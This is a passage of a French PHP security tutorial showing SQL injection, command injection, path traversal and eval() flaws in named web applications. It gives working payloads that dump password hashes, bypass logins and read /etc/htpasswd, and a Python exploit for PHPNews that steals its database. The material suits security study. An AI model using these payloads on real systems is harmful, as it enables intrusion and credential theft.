     sortby="<script>alert()</script>&list=
```

Et hop voilà que ça marche.

5.1.2 L'injection SQL de pollBooth.php

Bien tout d'abord ouvrons la page pollBooth.php, regardons un peu toutes les pages qui vont être incluse, on y trouve pollcomments.php ouvrez cette page et vous devriez tomber sur ce code :

```
1 $q = "select tid, pid, pollID, date, name,
     email, url, host_name, subject, comment,
     score, reason from pollcomments where pollID
     ='$pollID' and pid='$pid'";
2
3     if ($thold != "") {
4         $q .= " and score>=$thold";
5     } else {
6         $q .= " and score>=0";
```

[5] http ://securitytracker.com/alerts/2005/May/1013919.html

```
7     }
8     if ($order==1) $q .= " order by date desc";
9     if ($order==2) $q .= " order by score desc";
10    $something = mysql_query("$q");
11
12  $num_tid = mysql_num_rows($something);
```

Haha, un truc un peu compliqué on dirait :) et bien non pas si on réfléchi un peu, on a une variable $q qui représente notre requête, elle subit des modifications suivant certaines conditions, je m'explique, à la base

```
1  $q = "select tid, pid, pollID, date, name,
       email, url, host_name, subject, comment,
       score, reason from pollcomments where pollID
       ='$pollID' and pid='$pid'";
```

mais si $thold n'est pas vide alors

```
1  $q = "select tid, pid, pollID, date, name,
       email, url, host_name, subject, comment,
       score, reason from pollcomments where pollID
       ='$pollID' and pid='$pid and score>=$thold
       ";
```

Vous me suivez ? On se renseigne plus sur la variable $thold et on voit qu'elle représente un digit, alors bien il reste plus qu'à tester quelques trucs dans l'url pour voir qu'il y a bien une faille de type injection sql que l'on peut exploiter comme ceci :

```
1  http://[target]/npds/pollcomments.php?thold
       =0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,
       pwd,0,0%20FROM %20authors
```

ou encore comme cela :

```
1  http://[target]/narval/pollBooth.php?op=results
       &thold=0 UNION SELECT 0,0,0,0,0,0,0,0,aid,
       pwd,0,0 FROM users
```

5.2 ProjectBB v0.4.5.1

Voici un autre programme que j'ai eu l'occasion d'auditer ou nous allons étudier une injection sql.

Regardons le code source de la page divers.php vous trouverez ceci :

```
1 if($action == "liste"){
2 ...
3 $res = $db->query("SELECT login, email, site,
     icq, nbr_post, date_enreg, emailvisible,
     avatar FROM $table_membre WHERE login!=''
     ORDER BY $liste $desc, login LIMIT $limite,
     $mpp");
4
5 while($membre = $db->fetch_array($res))
```

Donc si `$action` égale `liste` alors on fait la requête SQL `$res`, dans cette requête on voit le nom de plein de variable comme `$liste`, `$desc` alors on étudie un peu le forum et on s'aperçoit que ces variables se retrouvent dans l'url alors on test et hop on a une grosse erreur mysql :)

On ne peut pas faire grand chose avec cette injection SQL à cause du `ORDER BY` qui bloque `UNION`.

5.3 PHPNews 1.2.4

Etudions ce petit programme qui a été audité il n'y a pas longtemps par Filip Groszynski, il contient une faille de type injection SQL sur la page `auth.php` observons le code :

```
1 if((isset($_POST['user']) && isset($_POST['
     password'])) || (isset($_SESSION['user']) &&
      isset($_SESSION['password'])))
2 ...
3 $in_user = $_SESSION['user'];
4
5 $in_password = $_SESSION['password'];
6 ...
7 $result = mysql_query('SELECT * FROM ' .
     $db_prefix . 'posters WHERE username = \'' .
      $in_user . '\' AND password = password(\''
     . $in_password . '\')');
```

Alors, on peut voir que si `user` et `password` étaient postés alors `$in_user` est égale à la valeur de `user` et que `in_password` est égale à la valeur de `password`, ensuite on a une requete SQL `SELECT` où `$in_user` et `$in_password` (soit `user` et `password` `POST`) ne sont pas filtrés.

Pour exploiter cette faille, il faut passer par le formulaire de login et mettre dans l'input correspondant à `user`

```
admin' OR 1=1#
```

par exemple. Rien de bien compliqué de ce coté la :)

6 Coder un Proof of Concept

Comme vous l'avez vu dans tout les exemples que j'ai donné, souvent l'url suffit pour exploiter une injection SQL mais bon, des fois, il est bon de savoir coder un petit exploit pour "prouver ce que l'on avance" (ou s'en servir pour hack plus vite :]).

Ce n'est pas la peine que je vous montre 3 ou 4 PoC que j'ai eu l'occasion de faire je vais juste montrer celui que j'ai codé dans PHPNews car la faille est très facile à exploiter donc vous devriez facilement comprendre. Dans mon cas, je l'ai codé en Python mais un autre language fait facilement l'affaire.

```
#!/usr/bin/python

import sys, httplib, urllib, urllib2

print "Exploit de test pour PhpNews (modif) par
    Benji"
print "###################################"
print "# ./1er.py <host> <dir> <pseudo> <option
   > <path>          #"
print "# ex: ./xploit.py www.site.com /PHPnews/
    benji 2          #"
print "###################################"
print "--[ Les options::"
print "..: 1 :.. > Donne toute la base de
   donnee dans un fichier \npass.txt !! donner
   un path !!"
print "..: 2 :.. > Fait simplement passer l'
   authentification !! \npas utiliser de proxy
   !!\n"
print "-------------------------------------(>\n
   "

if(1 < len(sys.argv)):

  # les options
    # Voler la bdd
  if sys.argv[4] == "1":
```

```
20      pseudo = sys.argv[3]+"' OR 1 =1 UNION
           SELECT * PASSWORD FROM phpnews_posters
           INTO OUTFILE '"+sys.argv[5]+"pass.txt'#"
21      # passer l'authentification
22    if sys.argv[4] == "2":
23      pseudo = sys.argv[3]+"' OR 1=1 /*"
24
25    # la connection
26    print pseudo
27    params = { 'user' : pseudo, 'password' :
          pseudo }
28    headers = {"Content-type": "application/x-www
          -form-urlencoded", "Accept": "text/plain"}
29    # affiche les parametres
30    print params
31    # encode l'url
32    postdata = urllib.urlencode(params)
33    # on se connect sur le port 80
34    connect = httplib.HTTPConnection(sys.argv
          [1]+':80')
35    print "- Connection [ok] : "+sys.argv[1]+sys.
          argv[2]+"/auth.php"
36    # on definie le POST
37    connect.request("POST", sys.argv[2]+"auth.php
          ", postdata, headers)
38    # on recupere la reponse
39    page = connect.getresponse()
40    print page.status, page.reason
41    open('phpnews.html', 'w').write(page.read())
42    connect.close()
43
44  else:
45    print "Vous n'avez rien entre ..."
46
47  # ./news.py site /phpnews_1-2-6/ benji 2
```

Voilà, je pense que vous allez comprendre facilement (le python c'est très clair :)), normalement vous devriez avoir une page html qui c'est créée dans le dossier ou vous lancez l'exploit avec tout les passwords. Sinon, j'ai mis une option pour voler une base de données aussi c'est toujours utile.

Si jamais vous ne comprenez pas toutes les fonctions aller faire une recherche sur http ://www.google.com/

7 L'escape Shell

Abordons une erreur un peut moins commune mais que l'on trouve de temps à autre sur le web l'escape Shell. Cette faille se présente dans la fonction `system()` ou `exec()` de PHP si une variable utilisée dedans n'est pas ou mal filtrée. Cette commande `system()` permet d'exécuter des commandes directement sur le serveur web, par exemple voir le fichier `/etc/htpasswd` ou `/bin/ls`. Vous trouverez ce genre de faille dans un code comme ceci :

```
1 <? system('whois $cmd'); ?>
```

Notre code ferais un whois sur la variable `$cmd` par exemple :

```
1 <? system('whois http://www.google.fr/'); ?>
```

Ce qui nous retournera le résultat du whois, mais si jamais un pirate venait à mettre comme valeur de `$cmd` :

```
1 http://www.google.fr/; cat /etc/htpasswd
```

alors il verrais le contenu du fichier `htpasswd`. Pour l'exploiter l'url suffit :

```
1 http://www.cible.com/index.php?cmd=http://.
    google.fr/; cat /etc/htpasswd
```

Vous comprendrez donc que cette faille est critique. Pour la corriger, il existe une fonction dans PHP `escapeshellcmd()` qui permet de corriger. Pour exploiter cette faille je vous conseille de vous renseigner sur les commandes shell.

8 Les failles dans les `fopen()`

Dans ce chapitre je vais parler d'un cas particulier que j'ai l'occasion de voir surtout sur des sites programmés par des débutants, dans le cas d'un forum souvent. Le mec avait un code comme ceci pour poster sur son forum :

```
1 <?
2 $nom_du_post = htmlentities($_POST['
    titre_du_post']);
3 ...
4 $ouvrir = fopen($nom_du_post, 'a+');
5 ...
6 ?>
```

Il avait tout ça dans un dossier `/forum/`. On voit bien ici que la page qui va être créée c'est le nom du post que l'on va mettre donc si on réfléchi un peut, il est très facilement possible de mettre en nom de post `../index.html`

ce qui reviendrait à défacer l'index !

Pour corriger, il suffit de filtrer la variable `$nom_du_post` (je pense qu'à hauteur de ce tutoriel plus besoin de donner un code tout fait).

9 Les failles dans les `fread()`

On tombe des fois sur des sites qui à la place d'utiliser une `include()` utilise une autre fonction de PHP similaire mais qui a une faille car en rajoutant `./` devant le nom du fichier on peut voir la source PHP ! Par exemple :

```
1 http://www.cible.com/index.php?file=./config.
    php
```

et là on voit tout le code du fichier.

10 Injection de code PHP grâce à `eval()`

La fonction eval() de php permet d'exécuter une chaine comme un script PHP, voici un exemple tout bête :

```
1 <?
2 $code = $_GET['code'];
3 eval($code);
4 ?>
```

Ce qui veut dire que je peux exécuter du code php grâce à la variable `$code` par exemple :

```
1 http://www.cible.com/index.php?code=system('cat
    /etc/htpasswd');
```

Ceci aura pour conséquence de faire apparaître le fichier des passwords. Pour corriger cette faille, il est impératif de tout d'abord bien gérer les variables et de faire subir aux variables un `addslashes()` pour restreindre les possibilités.

11 Quelques renseignements utils dans `phpinfo()`

Dans ce chapitre, je vais présenter quelques renseignement utiles que peut nous donner un `phpinfo()` sur un site web :

System : Nous permets de savoir sous quel type de système d'exploitation tourne le serveur (linux / windows).

Configuration File (`php.ini`) Path : Nous permet de savoir ou est situé le fichier php.ini sur le serveur.

Configure Command : Donne plus de renseignement sur la configuration d'apache et PHP

`file_uploads` **:** Permet de savoir si oui ou non on peut uploader avec php. (On / Off)

`magic_quotes_gpc` **:** Ceci permet de remplacer les ' en

```
1  \'
```

donc si `magic_quotes_gpc` est On il est plus dur d'injecter du SQL ou autre. (On / Off)

`safe_mode` **:** Le safe mode est une fonction qui permet de protéger les serveurs de failles tel que `exec()` ou `system()`. (On / Off)

`log_errors` **:** Indique si les messages d'erreurs doivent être enregistrés sur le serveur. (On / Off)

12 Plus de renseignement sur le `safe_mode`

Le `safe_mode` est assez important car si il est sur `On` alors cela empèche d'exploiter certaines failles car il vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers qui seront manipulés par ce script et désactive les fonctions suivantes :
`chdir`, `shell_exec`, `exec`, `system`, `passthru`, `popen`, `mkdir`, `rmdir`, `rename`, `unlink`, `copy`, `chmod`, `getallheaders`, `header`, `show_source`, `parse_ini_file`

Sachez donc que si vous essayez d'exploiter des failles sur votre site web pour essayer il n'est pas toujours possible que ça marche à cause du `safe_mode()` et que ce ne sont pas mes scripts qui foirent forcement :p

13 Conseils pour bien coder

Si vous voulez éviter de faire des failles lorsque vous programmez, je vous conseil de faire votre programme concentré, et une fois qu'il est fini seulement regarder si il y a d'éventuelles failles de sécurités. De plus essayez d'en apprendre plus sur les failles et de bien les maîtriser c'est pas en chipotant qu'on fait de la sécurité.

14 Conseils pour auditer un programme

Premièrement, avoir de bonne base, il existe de nombreux challenges sur le net n'hésitez pas à en faire plein (on devient pas forgeron sans forger),

tenez vous au courant des failles récentes qui sortent et n'hésitez pas à télécharger le programme et tester la faille juste pour le fun, soyez imaginatif, comprenez le code source de A à Z et pensez longuement à comment le détourner.

15 Contact

Vous pouvez me contacter par mail benji@redkod.org mais je suis aussi sur IRC (fouillez un peu).

Benjilenoob, Ashgenesis, Team RedKod.